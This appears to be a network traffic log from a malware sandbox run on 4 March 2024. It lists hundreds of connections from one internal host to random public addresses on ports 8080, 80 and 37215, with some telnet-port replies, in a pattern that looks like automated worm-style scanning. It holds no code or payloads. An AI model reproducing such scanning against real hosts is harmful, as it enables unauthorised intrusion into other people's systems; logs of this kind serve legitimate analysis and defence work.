Mar 4, 2024 15:05:35.179992914 CET	47577	8080	192.168.2.13	85.102.97.133
Mar 4, 2024 15:05:35.179996967 CET	47577	8080	192.168.2.13	62.18.33.185
Mar 4, 2024 15:05:35.180001020 CET	47577	8080	192.168.2.13	94.24.37.103
Mar 4, 2024 15:05:35.180007935 CET	47577	8080	192.168.2.13	31.120.134.173
Mar 4, 2024 15:05:35.180016041 CET	47577	8080	192.168.2.13	31.115.5.193
Mar 4, 2024 15:05:35.180016041 CET	47577	8080	192.168.2.13	85.216.95.12
Mar 4, 2024 15:05:35.180020094 CET	47577	8080	192.168.2.13	85.237.102.149
Mar 4, 2024 15:05:35.180032969 CET	47577	8080	192.168.2.13	95.17.204.247
Mar 4, 2024 15:05:35.180032969 CET	47577	8080	192.168.2.13	85.12.227.166
Mar 4, 2024 15:05:35.180041075 CET	47577	8080	192.168.2.13	94.46.121.237
Mar 4, 2024 15:05:35.180046082 CET	47577	8080	192.168.2.13	95.244.203.163
Mar 4, 2024 15:05:35.180046082 CET	47577	8080	192.168.2.13	31.164.98.79
Mar 4, 2024 15:05:35.180054903 CET	47577	8080	192.168.2.13	95.122.247.23
Mar 4, 2024 15:05:35.180058956 CET	47577	8080	192.168.2.13	31.190.165.198
Mar 4, 2024 15:05:35.180075884 CET	47577	8080	192.168.2.13	62.92.152.226
Mar 4, 2024 15:05:35.180092096 CET	47577	8080	192.168.2.13	62.6.127.47
Mar 4, 2024 15:05:35.180093050 CET	47577	8080	192.168.2.13	95.137.219.171
Mar 4, 2024 15:05:35.180094004 CET	47577	8080	192.168.2.13	62.141.167.242
Mar 4, 2024 15:05:35.180114031 CET	47577	8080	192.168.2.13	94.138.157.80
Mar 4, 2024 15:05:35.180118084 CET	47577	8080	192.168.2.13	62.9.9.164
Mar 4, 2024 15:05:35.180134058 CET	47577	8080	192.168.2.13	94.113.142.97
Mar 4, 2024 15:05:35.180134058 CET	47577	8080	192.168.2.13	95.63.6.115
Mar 4, 2024 15:05:35.180134058 CET	47577	8080	192.168.2.13	62.130.60.60
Mar 4, 2024 15:05:35.180139065 CET	47577	8080	192.168.2.13	95.223.226.145
Mar 4, 2024 15:05:35.180144072 CET	47577	8080	192.168.2.13	31.195.95.145
Mar 4, 2024 15:05:35.180152893 CET	47577	8080	192.168.2.13	94.39.215.220
Mar 4, 2024 15:05:35.180154085 CET	47577	8080	192.168.2.13	95.128.70.23
Mar 4, 2024 15:05:35.180157900 CET	47577	8080	192.168.2.13	94.253.49.12
Mar 4, 2024 15:05:35.180165052 CET	47577	8080	192.168.2.13	95.39.41.164
Mar 4, 2024 15:05:35.180172920 CET	47577	8080	192.168.2.13	95.87.224.138
Mar 4, 2024 15:05:35.180181980 CET	47577	8080	192.168.2.13	62.7.76.220
Mar 4, 2024 15:05:35.180196047 CET	47577	8080	192.168.2.13	62.19.234.228
Mar 4, 2024 15:05:35.180196047 CET	47577	8080	192.168.2.13	85.247.254.146
Mar 4, 2024 15:05:35.180196047 CET	47577	8080	192.168.2.13	94.25.121.171
Mar 4, 2024 15:05:35.180197954 CET	47577	8080	192.168.2.13	95.176.103.90
Mar 4, 2024 15:05:35.180210114 CET	47577	8080	192.168.2.13	94.82.154.88
Mar 4, 2024 15:05:35.180212975 CET	47577	8080	192.168.2.13	62.103.64.60
Mar 4, 2024 15:05:35.180224895 CET	47577	8080	192.168.2.13	62.141.135.92
Mar 4, 2024 15:05:35.180236101 CET	47577	8080	192.168.2.13	95.144.32.149
Mar 4, 2024 15:05:35.180238008 CET	47577	8080	192.168.2.13	85.35.93.19
Mar 4, 2024 15:05:35.180248976 CET	47577	8080	192.168.2.13	94.217.192.140
Mar 4, 2024 15:05:35.180253029 CET	47577	8080	192.168.2.13	95.11.53.134
Mar 4, 2024 15:05:35.180254936 CET	47577	8080	192.168.2.13	62.203.76.166
Mar 4, 2024 15:05:35.180259943 CET	47577	8080	192.168.2.13	94.241.182.146
Mar 4, 2024 15:05:35.180269003 CET	47577	8080	192.168.2.13	62.2.74.2
Mar 4, 2024 15:05:35.180282116 CET	47577	8080	192.168.2.13	62.24.240.57
Mar 4, 2024 15:05:35.180308104 CET	47577	8080	192.168.2.13	95.221.126.115
Mar 4, 2024 15:05:35.180311918 CET	47577	8080	192.168.2.13	85.220.68.130
Mar 4, 2024 15:05:35.180315971 CET	47577	8080	192.168.2.13	95.248.90.116
Mar 4, 2024 15:05:35.180315971 CET	47577	8080	192.168.2.13	95.126.143.67
Mar 4, 2024 15:05:35.180330038 CET	47577	8080	192.168.2.13	62.204.119.242
Mar 4, 2024 15:05:35.180330992 CET	47577	8080	192.168.2.13	62.232.45.122
Mar 4, 2024 15:05:35.180340052 CET	47577	8080	192.168.2.13	94.26.128.163
Mar 4, 2024 15:05:35.180342913 CET	47577	8080	192.168.2.13	31.136.6.43
Mar 4, 2024 15:05:35.180354118 CET	47577	8080	192.168.2.13	85.153.12.110
Mar 4, 2024 15:05:35.180358887 CET	47577	8080	192.168.2.13	31.6.129.35
Mar 4, 2024 15:05:35.180370092 CET	47577	8080	192.168.2.13	62.222.59.234
Mar 4, 2024 15:05:35.180377007 CET	47577	8080	192.168.2.13	62.29.8.136
Mar 4, 2024 15:05:35.180382967 CET	47577	8080	192.168.2.13	31.84.69.179
Mar 4, 2024 15:05:35.180392027 CET	47577	8080	192.168.2.13	62.76.32.140
Mar 4, 2024 15:05:35.180393934 CET	47577	8080	192.168.2.13	85.201.250.84
Mar 4, 2024 15:05:35.180401087 CET	47577	8080	192.168.2.13	94.220.243.24
Mar 4, 2024 15:05:35.180402994 CET	47577	8080	192.168.2.13	94.198.201.229
Mar 4, 2024 15:05:35.180418015 CET	47577	8080	192.168.2.13	95.250.88.149
Mar 4, 2024 15:05:35.180427074 CET	47577	8080	192.168.2.13	94.3.250.117
Mar 4, 2024 15:05:35.180434942 CET	47577	8080	192.168.2.13	94.48.190.146
Mar 4, 2024 15:05:35.180457115 CET	41120	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:35.191117048 CET	57024	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:35.191119909 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:35.191121101 CET	42590	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:35.191128969 CET	51154	80	192.168.2.13	88.204.194.249
Mar 4, 2024 15:05:35.191129923 CET	41024	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:35.286420107 CET	23	50393	45.135.14.138	192.168.2.13
Mar 4, 2024 15:05:35.292073965 CET	8080	47577	94.241.182.146	192.168.2.13
Mar 4, 2024 15:05:35.314253092 CET	37215	47833	197.234.41.181	192.168.2.13
Mar 4, 2024 15:05:35.314335108 CET	47833	37215	192.168.2.13	197.234.41.181
Mar 4, 2024 15:05:35.326525927 CET	37215	47833	197.214.98.89	192.168.2.13
Mar 4, 2024 15:05:35.340487957 CET	8080	47577	31.217.97.16	192.168.2.13
Mar 4, 2024 15:05:35.341578007 CET	23	50393	5.135.148.250	192.168.2.13
Mar 4, 2024 15:05:35.352174997 CET	80	48089	95.170.74.28	192.168.2.13
Mar 4, 2024 15:05:35.352252960 CET	48089	80	192.168.2.13	95.170.74.28
Mar 4, 2024 15:05:35.363266945 CET	8080	41120	62.84.96.245	192.168.2.13
Mar 4, 2024 15:05:35.363348007 CET	41120	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:35.363404036 CET	47577	8080	192.168.2.13	95.113.186.83
Mar 4, 2024 15:05:35.363414049 CET	47577	8080	192.168.2.13	85.113.11.203
Mar 4, 2024 15:05:35.363439083 CET	47577	8080	192.168.2.13	85.137.237.88
Mar 4, 2024 15:05:35.363451958 CET	47577	8080	192.168.2.13	85.55.194.212
Mar 4, 2024 15:05:35.363451958 CET	47577	8080	192.168.2.13	85.107.85.195
Mar 4, 2024 15:05:35.363471985 CET	47577	8080	192.168.2.13	62.102.106.97
Mar 4, 2024 15:05:35.363471985 CET	47577	8080	192.168.2.13	31.144.110.86
Mar 4, 2024 15:05:35.363522053 CET	47577	8080	192.168.2.13	94.85.76.9
Mar 4, 2024 15:05:35.363524914 CET	47577	8080	192.168.2.13	94.148.72.57
Mar 4, 2024 15:05:35.363527060 CET	47577	8080	192.168.2.13	95.152.179.8
Mar 4, 2024 15:05:35.363524914 CET	47577	8080	192.168.2.13	62.62.110.122
Mar 4, 2024 15:05:35.363543987 CET	2323	50393	209.242.205.47	192.168.2.13
Mar 4, 2024 15:05:35.363599062 CET	47577	8080	192.168.2.13	85.150.32.200
Mar 4, 2024 15:05:35.363626003 CET	47577	8080	192.168.2.13	62.211.81.87
Mar 4, 2024 15:05:35.363640070 CET	47577	8080	192.168.2.13	62.76.161.91
Mar 4, 2024 15:05:35.363640070 CET	47577	8080	192.168.2.13	31.254.233.70
Mar 4, 2024 15:05:35.363640070 CET	47577	8080	192.168.2.13	94.47.222.172
Mar 4, 2024 15:05:35.363667965 CET	47577	8080	192.168.2.13	95.58.227.93
Mar 4, 2024 15:05:35.363671064 CET	47577	8080	192.168.2.13	31.76.195.40
Mar 4, 2024 15:05:35.363672018 CET	47577	8080	192.168.2.13	95.86.217.206
Mar 4, 2024 15:05:35.363672018 CET	47577	8080	192.168.2.13	85.254.62.251
Mar 4, 2024 15:05:35.363672972 CET	47577	8080	192.168.2.13	95.99.149.222
Mar 4, 2024 15:05:35.363672018 CET	47577	8080	192.168.2.13	62.186.1.139
Mar 4, 2024 15:05:35.363691092 CET	47577	8080	192.168.2.13	94.143.253.70
Mar 4, 2024 15:05:35.363691092 CET	47577	8080	192.168.2.13	31.11.74.230
Mar 4, 2024 15:05:35.363692045 CET	47577	8080	192.168.2.13	31.161.103.239
Mar 4, 2024 15:05:35.363692045 CET	47577	8080	192.168.2.13	94.165.174.14
Mar 4, 2024 15:05:35.363692045 CET	47577	8080	192.168.2.13	31.201.252.29
Mar 4, 2024 15:05:35.363693953 CET	47577	8080	192.168.2.13	95.87.51.217
Mar 4, 2024 15:05:35.363692045 CET	47577	8080	192.168.2.13	95.221.133.20
Mar 4, 2024 15:05:35.363696098 CET	47577	8080	192.168.2.13	94.66.17.91
Mar 4, 2024 15:05:35.363696098 CET	47577	8080	192.168.2.13	31.116.237.241
Mar 4, 2024 15:05:35.363704920 CET	47577	8080	192.168.2.13	62.60.27.105
Mar 4, 2024 15:05:35.363719940 CET	47577	8080	192.168.2.13	62.251.53.19
Mar 4, 2024 15:05:35.363719940 CET	47577	8080	192.168.2.13	31.122.92.86
Mar 4, 2024 15:05:35.363719940 CET	47577	8080	192.168.2.13	62.217.119.62
Mar 4, 2024 15:05:35.363722086 CET	47577	8080	192.168.2.13	62.2.64.6
Mar 4, 2024 15:05:35.363722086 CET	47577	8080	192.168.2.13	95.53.174.236
Mar 4, 2024 15:05:35.363722086 CET	47577	8080	192.168.2.13	31.54.81.14
Mar 4, 2024 15:05:35.363722086 CET	47577	8080	192.168.2.13	95.35.110.188
Mar 4, 2024 15:05:35.363723993 CET	47577	8080	192.168.2.13	85.224.219.163
Mar 4, 2024 15:05:35.363737106 CET	47577	8080	192.168.2.13	85.189.104.240
Mar 4, 2024 15:05:35.363737106 CET	47577	8080	192.168.2.13	62.234.188.69
Mar 4, 2024 15:05:35.363742113 CET	47577	8080	192.168.2.13	94.166.178.50
Mar 4, 2024 15:05:35.363742113 CET	47577	8080	192.168.2.13	94.55.154.74
Mar 4, 2024 15:05:35.363744974 CET	47577	8080	192.168.2.13	31.87.61.150
Mar 4, 2024 15:05:35.363759041 CET	47577	8080	192.168.2.13	31.223.218.219
Mar 4, 2024 15:05:35.363759995 CET	47577	8080	192.168.2.13	95.29.77.151
Mar 4, 2024 15:05:35.363763094 CET	47577	8080	192.168.2.13	62.6.158.169
Mar 4, 2024 15:05:35.363764048 CET	47577	8080	192.168.2.13	85.95.99.81
Mar 4, 2024 15:05:35.363765001 CET	47577	8080	192.168.2.13	85.236.12.214
Mar 4, 2024 15:05:35.363780975 CET	47577	8080	192.168.2.13	85.89.33.31
Mar 4, 2024 15:05:35.363784075 CET	47577	8080	192.168.2.13	85.144.35.92
Mar 4, 2024 15:05:35.363784075 CET	47577	8080	192.168.2.13	62.227.247.42
Mar 4, 2024 15:05:35.363784075 CET	47577	8080	192.168.2.13	95.39.254.109
Mar 4, 2024 15:05:35.363785982 CET	47577	8080	192.168.2.13	62.33.142.134
Mar 4, 2024 15:05:35.363785982 CET	47577	8080	192.168.2.13	62.154.80.120
Mar 4, 2024 15:05:35.363789082 CET	47577	8080	192.168.2.13	62.47.62.216
Mar 4, 2024 15:05:35.363789082 CET	47577	8080	192.168.2.13	62.64.64.57
Mar 4, 2024 15:05:35.363806009 CET	47577	8080	192.168.2.13	95.147.151.171
Mar 4, 2024 15:05:35.363806009 CET	47577	8080	192.168.2.13	31.162.210.196
Mar 4, 2024 15:05:35.363806963 CET	47577	8080	192.168.2.13	62.58.27.20
Mar 4, 2024 15:05:35.363810062 CET	47577	8080	192.168.2.13	95.22.229.2
Mar 4, 2024 15:05:35.363810062 CET	47577	8080	192.168.2.13	95.140.104.3
Mar 4, 2024 15:05:35.363815069 CET	47577	8080	192.168.2.13	85.242.11.59
Mar 4, 2024 15:05:35.363821983 CET	47577	8080	192.168.2.13	85.97.164.94
Mar 4, 2024 15:05:35.363823891 CET	47577	8080	192.168.2.13	31.108.196.200
Mar 4, 2024 15:05:35.363825083 CET	47577	8080	192.168.2.13	62.2.81.194
Mar 4, 2024 15:05:35.363827944 CET	47577	8080	192.168.2.13	94.141.105.23
Mar 4, 2024 15:05:35.363827944 CET	47577	8080	192.168.2.13	95.110.61.201
Mar 4, 2024 15:05:35.363842964 CET	47577	8080	192.168.2.13	31.238.45.17
Mar 4, 2024 15:05:35.363842964 CET	47577	8080	192.168.2.13	31.134.208.189
Mar 4, 2024 15:05:35.363842964 CET	47577	8080	192.168.2.13	85.166.182.131
Mar 4, 2024 15:05:35.363853931 CET	47577	8080	192.168.2.13	62.184.63.71
Mar 4, 2024 15:05:35.363857985 CET	47577	8080	192.168.2.13	94.232.216.89
Mar 4, 2024 15:05:35.363858938 CET	47577	8080	192.168.2.13	62.186.69.230
Mar 4, 2024 15:05:35.363861084 CET	47577	8080	192.168.2.13	95.108.11.173
Mar 4, 2024 15:05:35.363862038 CET	47577	8080	192.168.2.13	31.119.100.100
Mar 4, 2024 15:05:35.363862038 CET	47577	8080	192.168.2.13	31.86.191.205
Mar 4, 2024 15:05:35.363872051 CET	47577	8080	192.168.2.13	85.36.139.195
Mar 4, 2024 15:05:35.363872051 CET	47577	8080	192.168.2.13	95.46.3.171
Mar 4, 2024 15:05:35.363873959 CET	47577	8080	192.168.2.13	95.147.72.9
Mar 4, 2024 15:05:35.363888979 CET	47577	8080	192.168.2.13	62.232.195.58
Mar 4, 2024 15:05:35.363889933 CET	47577	8080	192.168.2.13	31.34.162.69
Mar 4, 2024 15:05:35.363893032 CET	47577	8080	192.168.2.13	31.151.156.49
Mar 4, 2024 15:05:35.363903046 CET	47577	8080	192.168.2.13	94.195.169.105
Mar 4, 2024 15:05:35.363904953 CET	47577	8080	192.168.2.13	94.59.252.224
Mar 4, 2024 15:05:35.363910913 CET	47577	8080	192.168.2.13	31.53.105.244
Mar 4, 2024 15:05:35.363922119 CET	47577	8080	192.168.2.13	95.173.186.116
Mar 4, 2024 15:05:35.363922119 CET	47577	8080	192.168.2.13	85.58.90.70
Mar 4, 2024 15:05:35.363936901 CET	47577	8080	192.168.2.13	95.83.64.103
Mar 4, 2024 15:05:35.363940001 CET	47577	8080	192.168.2.13	62.68.28.40
Mar 4, 2024 15:05:35.363945007 CET	47577	8080	192.168.2.13	85.6.189.127
Mar 4, 2024 15:05:35.363950014 CET	47577	8080	192.168.2.13	31.204.214.147
Mar 4, 2024 15:05:35.363964081 CET	47577	8080	192.168.2.13	85.93.46.225
Mar 4, 2024 15:05:35.363969088 CET	47577	8080	192.168.2.13	62.16.182.68
Mar 4, 2024 15:05:35.363993883 CET	47577	8080	192.168.2.13	95.185.193.5
Mar 4, 2024 15:05:35.364001989 CET	47577	8080	192.168.2.13	62.140.155.149
Mar 4, 2024 15:05:35.364008904 CET	47577	8080	192.168.2.13	94.74.253.130
Mar 4, 2024 15:05:35.364021063 CET	47577	8080	192.168.2.13	31.37.11.124
Mar 4, 2024 15:05:35.364038944 CET	47577	8080	192.168.2.13	85.190.192.112
Mar 4, 2024 15:05:35.364042044 CET	47577	8080	192.168.2.13	85.0.33.153
Mar 4, 2024 15:05:35.364058018 CET	47577	8080	192.168.2.13	94.121.1.242
Mar 4, 2024 15:05:35.364064932 CET	47577	8080	192.168.2.13	85.248.31.228
Mar 4, 2024 15:05:35.364080906 CET	47577	8080	192.168.2.13	31.124.113.180
Mar 4, 2024 15:05:35.364094973 CET	47577	8080	192.168.2.13	85.213.110.253
Mar 4, 2024 15:05:35.364109993 CET	47577	8080	192.168.2.13	31.217.31.185
Mar 4, 2024 15:05:35.364111900 CET	47577	8080	192.168.2.13	85.159.48.238
Mar 4, 2024 15:05:35.364114046 CET	47577	8080	192.168.2.13	85.63.248.41
Mar 4, 2024 15:05:35.364137888 CET	47577	8080	192.168.2.13	62.113.149.179
Mar 4, 2024 15:05:35.364146948 CET	47577	8080	192.168.2.13	94.54.39.87
Mar 4, 2024 15:05:35.364146948 CET	47577	8080	192.168.2.13	85.173.205.240
Mar 4, 2024 15:05:35.364156961 CET	47577	8080	192.168.2.13	62.82.238.78
Mar 4, 2024 15:05:35.364168882 CET	47577	8080	192.168.2.13	94.19.99.247
Mar 4, 2024 15:05:35.364175081 CET	47577	8080	192.168.2.13	85.8.96.232
Mar 4, 2024 15:05:35.364177942 CET	47577	8080	192.168.2.13	31.41.234.160
Mar 4, 2024 15:05:35.364195108 CET	47577	8080	192.168.2.13	94.71.179.137
Mar 4, 2024 15:05:35.364198923 CET	47577	8080	192.168.2.13	85.36.253.70
Mar 4, 2024 15:05:35.364212036 CET	47577	8080	192.168.2.13	31.228.142.193
Mar 4, 2024 15:05:35.364214897 CET	47577	8080	192.168.2.13	85.246.87.245
Mar 4, 2024 15:05:35.364239931 CET	47577	8080	192.168.2.13	94.73.129.191
Mar 4, 2024 15:05:35.364264011 CET	47577	8080	192.168.2.13	94.3.47.44
Mar 4, 2024 15:05:35.364267111 CET	47577	8080	192.168.2.13	31.2.115.189
Mar 4, 2024 15:05:35.364278078 CET	47577	8080	192.168.2.13	85.116.21.142
Mar 4, 2024 15:05:35.364279985 CET	47577	8080	192.168.2.13	85.196.178.214
Mar 4, 2024 15:05:35.364290953 CET	47577	8080	192.168.2.13	95.160.166.172
Mar 4, 2024 15:05:35.364296913 CET	47577	8080	192.168.2.13	31.175.13.157
Mar 4, 2024 15:05:35.364310980 CET	47577	8080	192.168.2.13	31.254.252.58
Mar 4, 2024 15:05:35.364317894 CET	47577	8080	192.168.2.13	85.218.87.196
Mar 4, 2024 15:05:35.364335060 CET	47577	8080	192.168.2.13	62.159.37.86
Mar 4, 2024 15:05:35.364336014 CET	47577	8080	192.168.2.13	62.76.71.35
Mar 4, 2024 15:05:35.364336014 CET	47577	8080	192.168.2.13	85.184.31.171
Mar 4, 2024 15:05:35.364352942 CET	47577	8080	192.168.2.13	62.146.180.162
Mar 4, 2024 15:05:35.364362955 CET	47577	8080	192.168.2.13	85.33.168.172
Mar 4, 2024 15:05:35.364367962 CET	47577	8080	192.168.2.13	95.37.36.49
Mar 4, 2024 15:05:35.364371061 CET	47577	8080	192.168.2.13	94.105.145.193
Mar 4, 2024 15:05:35.364371061 CET	47577	8080	192.168.2.13	95.130.32.175
Mar 4, 2024 15:05:35.364386082 CET	47577	8080	192.168.2.13	62.57.152.152
Mar 4, 2024 15:05:35.364391088 CET	47577	8080	192.168.2.13	94.240.27.234
Mar 4, 2024 15:05:35.364406109 CET	47577	8080	192.168.2.13	85.167.251.155
Mar 4, 2024 15:05:35.364411116 CET	47577	8080	192.168.2.13	95.121.64.157
Mar 4, 2024 15:05:35.364411116 CET	47577	8080	192.168.2.13	31.214.131.240
Mar 4, 2024 15:05:35.364425898 CET	47577	8080	192.168.2.13	94.199.24.197
Mar 4, 2024 15:05:35.364430904 CET	47577	8080	192.168.2.13	62.185.25.234
Mar 4, 2024 15:05:35.364434958 CET	47577	8080	192.168.2.13	94.28.118.116
Mar 4, 2024 15:05:35.364439964 CET	47577	8080	192.168.2.13	95.99.118.170
Mar 4, 2024 15:05:35.364451885 CET	47577	8080	192.168.2.13	85.103.140.11
Mar 4, 2024 15:05:35.364454985 CET	47577	8080	192.168.2.13	31.10.181.55
Mar 4, 2024 15:05:35.364454985 CET	47577	8080	192.168.2.13	95.250.172.114
Mar 4, 2024 15:05:35.364470959 CET	47577	8080	192.168.2.13	94.59.243.91
Mar 4, 2024 15:05:35.364476919 CET	47577	8080	192.168.2.13	62.107.22.1
Mar 4, 2024 15:05:35.364478111 CET	47577	8080	192.168.2.13	31.129.63.80
Mar 4, 2024 15:05:35.364494085 CET	47577	8080	192.168.2.13	62.119.230.71
Mar 4, 2024 15:05:35.364494085 CET	47577	8080	192.168.2.13	31.241.192.25
Mar 4, 2024 15:05:35.364502907 CET	47577	8080	192.168.2.13	62.228.39.164
Mar 4, 2024 15:05:35.364515066 CET	47577	8080	192.168.2.13	95.175.76.249
Mar 4, 2024 15:05:35.364516020 CET	47577	8080	192.168.2.13	95.164.24.242
Mar 4, 2024 15:05:35.364525080 CET	47577	8080	192.168.2.13	94.193.77.113
Mar 4, 2024 15:05:35.364532948 CET	47577	8080	192.168.2.13	94.244.27.211
Mar 4, 2024 15:05:35.364557028 CET	47577	8080	192.168.2.13	94.16.235.16
Mar 4, 2024 15:05:35.364562035 CET	47577	8080	192.168.2.13	62.68.37.104
Mar 4, 2024 15:05:35.364562035 CET	47577	8080	192.168.2.13	85.255.228.190
Mar 4, 2024 15:05:35.364564896 CET	47577	8080	192.168.2.13	31.8.222.146
Mar 4, 2024 15:05:35.364573956 CET	47577	8080	192.168.2.13	94.113.45.187
Mar 4, 2024 15:05:35.364574909 CET	47577	8080	192.168.2.13	94.54.125.107
Mar 4, 2024 15:05:35.364578962 CET	47577	8080	192.168.2.13	94.150.150.6
Mar 4, 2024 15:05:35.364583969 CET	47577	8080	192.168.2.13	62.225.222.155
Mar 4, 2024 15:05:35.364586115 CET	47577	8080	192.168.2.13	95.93.175.53
Mar 4, 2024 15:05:35.364598036 CET	47577	8080	192.168.2.13	31.161.192.42
Mar 4, 2024 15:05:35.364608049 CET	47577	8080	192.168.2.13	62.88.152.107
Mar 4, 2024 15:05:35.364607096 CET	47577	8080	192.168.2.13	95.119.58.207
Mar 4, 2024 15:05:35.364608049 CET	47577	8080	192.168.2.13	31.154.133.234
Mar 4, 2024 15:05:35.364623070 CET	47577	8080	192.168.2.13	85.52.206.102
Mar 4, 2024 15:05:35.364633083 CET	47577	8080	192.168.2.13	62.19.68.48
Mar 4, 2024 15:05:35.364633083 CET	47577	8080	192.168.2.13	31.39.167.151
Mar 4, 2024 15:05:35.364633083 CET	47577	8080	192.168.2.13	31.228.71.202
Mar 4, 2024 15:05:35.364638090 CET	47577	8080	192.168.2.13	95.101.76.23
Mar 4, 2024 15:05:35.364638090 CET	47577	8080	192.168.2.13	31.150.151.144
Mar 4, 2024 15:05:35.364638090 CET	47577	8080	192.168.2.13	95.196.102.113
Mar 4, 2024 15:05:35.364650965 CET	47577	8080	192.168.2.13	95.233.142.53
Mar 4, 2024 15:05:35.364675045 CET	47577	8080	192.168.2.13	85.108.114.104
Mar 4, 2024 15:05:35.364675045 CET	47577	8080	192.168.2.13	95.124.194.66
Mar 4, 2024 15:05:35.364685059 CET	47577	8080	192.168.2.13	94.233.67.174
Mar 4, 2024 15:05:35.364701986 CET	47577	8080	192.168.2.13	31.238.164.83
Mar 4, 2024 15:05:35.364715099 CET	47577	8080	192.168.2.13	31.16.91.238
Mar 4, 2024 15:05:35.364715099 CET	47577	8080	192.168.2.13	95.125.16.170
Mar 4, 2024 15:05:35.364715099 CET	47577	8080	192.168.2.13	31.176.249.226
Mar 4, 2024 15:05:35.364722967 CET	47577	8080	192.168.2.13	94.127.72.254
Mar 4, 2024 15:05:35.364726067 CET	47577	8080	192.168.2.13	94.52.76.156
Mar 4, 2024 15:05:35.364746094 CET	47577	8080	192.168.2.13	95.183.87.208
Mar 4, 2024 15:05:35.364756107 CET	47577	8080	192.168.2.13	94.95.116.26
Mar 4, 2024 15:05:35.364758968 CET	47577	8080	192.168.2.13	85.50.188.202
Mar 4, 2024 15:05:35.364774942 CET	47577	8080	192.168.2.13	31.3.120.162
Mar 4, 2024 15:05:35.364793062 CET	47577	8080	192.168.2.13	94.56.39.192
Mar 4, 2024 15:05:35.364804983 CET	47577	8080	192.168.2.13	85.76.67.209
Mar 4, 2024 15:05:35.364804983 CET	47577	8080	192.168.2.13	62.201.141.244
Mar 4, 2024 15:05:35.364810944 CET	47577	8080	192.168.2.13	62.29.190.129
Mar 4, 2024 15:05:35.364823103 CET	47577	8080	192.168.2.13	31.28.190.255
Mar 4, 2024 15:05:35.364835024 CET	47577	8080	192.168.2.13	94.191.46.69
Mar 4, 2024 15:05:35.364840984 CET	47577	8080	192.168.2.13	94.51.213.209
Mar 4, 2024 15:05:35.364855051 CET	47577	8080	192.168.2.13	31.118.64.14
Mar 4, 2024 15:05:35.364856005 CET	47577	8080	192.168.2.13	94.48.142.223
Mar 4, 2024 15:05:35.364856005 CET	47577	8080	192.168.2.13	95.42.175.39
Mar 4, 2024 15:05:35.364856005 CET	47577	8080	192.168.2.13	62.113.183.151
Mar 4, 2024 15:05:35.364867926 CET	47577	8080	192.168.2.13	62.69.52.216
Mar 4, 2024 15:05:35.364867926 CET	47577	8080	192.168.2.13	62.7.191.185
Mar 4, 2024 15:05:35.364870071 CET	47577	8080	192.168.2.13	31.141.240.32
Mar 4, 2024 15:05:35.364876032 CET	47577	8080	192.168.2.13	94.161.214.117
Mar 4, 2024 15:05:35.364880085 CET	47577	8080	192.168.2.13	94.97.195.255
Mar 4, 2024 15:05:35.364892006 CET	47577	8080	192.168.2.13	94.79.181.205
Mar 4, 2024 15:05:35.364893913 CET	47577	8080	192.168.2.13	94.10.250.157
Mar 4, 2024 15:05:35.364907026 CET	47577	8080	192.168.2.13	62.240.217.76
Mar 4, 2024 15:05:35.364909887 CET	47577	8080	192.168.2.13	95.209.216.153
Mar 4, 2024 15:05:35.364923954 CET	47577	8080	192.168.2.13	62.108.196.35
Mar 4, 2024 15:05:35.364924908 CET	47577	8080	192.168.2.13	95.122.9.166
Mar 4, 2024 15:05:35.364931107 CET	47577	8080	192.168.2.13	62.34.222.74
Mar 4, 2024 15:05:35.364948988 CET	47577	8080	192.168.2.13	95.214.32.94
Mar 4, 2024 15:05:35.364954948 CET	47577	8080	192.168.2.13	95.57.69.75
Mar 4, 2024 15:05:35.364964962 CET	47577	8080	192.168.2.13	62.12.168.0
Mar 4, 2024 15:05:35.364965916 CET	47577	8080	192.168.2.13	62.135.227.146
Mar 4, 2024 15:05:35.364979982 CET	47577	8080	192.168.2.13	95.129.114.248
Mar 4, 2024 15:05:35.364984035 CET	47577	8080	192.168.2.13	94.52.22.248
Mar 4, 2024 15:05:35.364991903 CET	47577	8080	192.168.2.13	62.23.77.172
Mar 4, 2024 15:05:35.364991903 CET	47577	8080	192.168.2.13	94.199.8.102
Mar 4, 2024 15:05:35.365003109 CET	47577	8080	192.168.2.13	85.148.69.240
Mar 4, 2024 15:05:35.365004063 CET	47577	8080	192.168.2.13	62.215.83.102
Mar 4, 2024 15:05:35.365005016 CET	47577	8080	192.168.2.13	31.108.65.208
Mar 4, 2024 15:05:35.365016937 CET	47577	8080	192.168.2.13	85.28.237.184
Mar 4, 2024 15:05:35.365027905 CET	47577	8080	192.168.2.13	31.159.56.173
Mar 4, 2024 15:05:35.365029097 CET	47577	8080	192.168.2.13	31.12.209.210
Mar 4, 2024 15:05:35.365037918 CET	47577	8080	192.168.2.13	31.85.95.216
Mar 4, 2024 15:05:35.365044117 CET	47577	8080	192.168.2.13	94.158.83.31
Mar 4, 2024 15:05:35.365048885 CET	47577	8080	192.168.2.13	85.95.88.168
Mar 4, 2024 15:05:35.365061998 CET	47577	8080	192.168.2.13	94.247.66.238
Mar 4, 2024 15:05:35.365071058 CET	47577	8080	192.168.2.13	31.219.206.37
Mar 4, 2024 15:05:35.365075111 CET	47577	8080	192.168.2.13	95.66.234.98
Mar 4, 2024 15:05:35.365078926 CET	47577	8080	192.168.2.13	94.114.99.92
Mar 4, 2024 15:05:35.365098000 CET	47577	8080	192.168.2.13	85.211.68.40
Mar 4, 2024 15:05:35.365098000 CET	47577	8080	192.168.2.13	94.240.205.153
Mar 4, 2024 15:05:35.365108967 CET	47577	8080	192.168.2.13	94.34.211.100
Mar 4, 2024 15:05:35.365108967 CET	47577	8080	192.168.2.13	94.114.120.203
Mar 4, 2024 15:05:35.365118980 CET	47577	8080	192.168.2.13	94.252.249.95
Mar 4, 2024 15:05:35.365123034 CET	47577	8080	192.168.2.13	31.203.56.154
Mar 4, 2024 15:05:35.365128994 CET	47577	8080	192.168.2.13	94.89.103.161
Mar 4, 2024 15:05:35.365142107 CET	47577	8080	192.168.2.13	95.227.51.206
Mar 4, 2024 15:05:35.365144014 CET	47577	8080	192.168.2.13	95.14.102.41
Mar 4, 2024 15:05:35.365160942 CET	47577	8080	192.168.2.13	62.147.2.145
Mar 4, 2024 15:05:35.365163088 CET	47577	8080	192.168.2.13	85.4.254.101
Mar 4, 2024 15:05:35.365166903 CET	47577	8080	192.168.2.13	62.33.135.18
Mar 4, 2024 15:05:35.365169048 CET	47577	8080	192.168.2.13	94.199.73.74
